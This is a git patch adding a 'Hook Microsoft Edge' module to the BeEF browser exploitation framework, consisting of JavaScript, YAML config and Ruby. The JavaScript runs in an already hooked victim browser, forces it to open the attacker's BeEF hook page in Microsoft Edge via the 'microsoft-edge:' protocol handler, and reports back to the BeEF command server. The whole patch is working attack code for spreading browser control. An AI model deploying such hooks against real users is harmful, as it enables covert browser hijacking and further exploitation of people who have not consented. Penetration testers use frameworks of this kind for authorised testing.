From b0732f21e6bb258ca2d6bf9b3dc1d34ec1330eb1 Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Sat, 20 Jul 2019 15:55:09 +0000 Subject: [PATCH] Add Hook Microsoft Edge module --- modules/host/hook_microsoft_edge/command.js | 12 ++++++++++ modules/host/hook_microsoft_edge/config.yaml | 15 ++++++++++++ modules/host/hook_microsoft_edge/module.rb | 25 ++++++++++++++++++++ 3 files changed, 52 insertions(+) create mode 100644 modules/host/hook_microsoft_edge/command.js create mode 100644 modules/host/hook_microsoft_edge/config.yaml create mode 100644 modules/host/hook_microsoft_edge/module.rb diff --git a/modules/host/hook_microsoft_edge/command.js b/modules/host/hook_microsoft_edge/command.js new file mode 100644 index 000000000..5fa9bc0cc --- /dev/null +++ b/modules/host/hook_microsoft_edge/command.js @@ -0,0 +1,12 @@ +// +// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Browser Exploitation Framework (BeEF) - http://beefproject.com +// See the file 'doc/COPYING' for copying permission +// + +beef.execute(function() { + var edge_url = "<%== @url %>"; + window.location = 'microsoft-edge:' + edge_url; + beef.debug("Attempted to open " + edge_url + " in Microsoft Edge."); + beef.net.send('<%= @command_url %>', <%= @command_id %>, "Attempted to open " + edge_url + " in Microsoft Edge."); +}); diff --git a/modules/host/hook_microsoft_edge/config.yaml b/modules/host/hook_microsoft_edge/config.yaml new file mode 100644 index 000000000..7397505dc --- /dev/null +++ b/modules/host/hook_microsoft_edge/config.yaml @@ -0,0 +1,15 @@ +# +# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +beef: + module: + hook_microsoft_edge: + enable: true + category: "Host" + name: "Hook Microsoft Edge" + description: "This module will use the 'microsoft-edge:' protocol handler to attempt to hook Microsoft Edge (assuming it isn't currently hooked).

Note: the user will be prompted to open Microsoft Edge." + authors: ["bcoles"] + target: + user_notify: ["C"] diff --git a/modules/host/hook_microsoft_edge/module.rb b/modules/host/hook_microsoft_edge/module.rb new file mode 100644 index 000000000..114c298b1 --- /dev/null +++ b/modules/host/hook_microsoft_edge/module.rb @@ -0,0 +1,25 @@ +# +# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# + +class Hook_microsoft_edge < BeEF::Core::Command + def self.options + @configuration = BeEF::Core::Configuration.instance + proto = @configuration.get("beef.http.https.enable") == true ? "https" : "http" + beef_host = @configuration.get("beef.http.public") || @configuration.get("beef.http.host") + beef_port = @configuration.get("beef.http.public_port") || @configuration.get("beef.http.port") + hook_uri = "#{proto}://#{beef_host}:#{beef_port}/demos/plain.html" + + return [ + {'name' => 'url', 'ui_label'=>'URL', 'type' => 'text', 'width' => '400px', 'value' => hook_uri }, + ] + end + + def post_execute + content = {} + content['result'] = @datastore['result'] + save content + end +end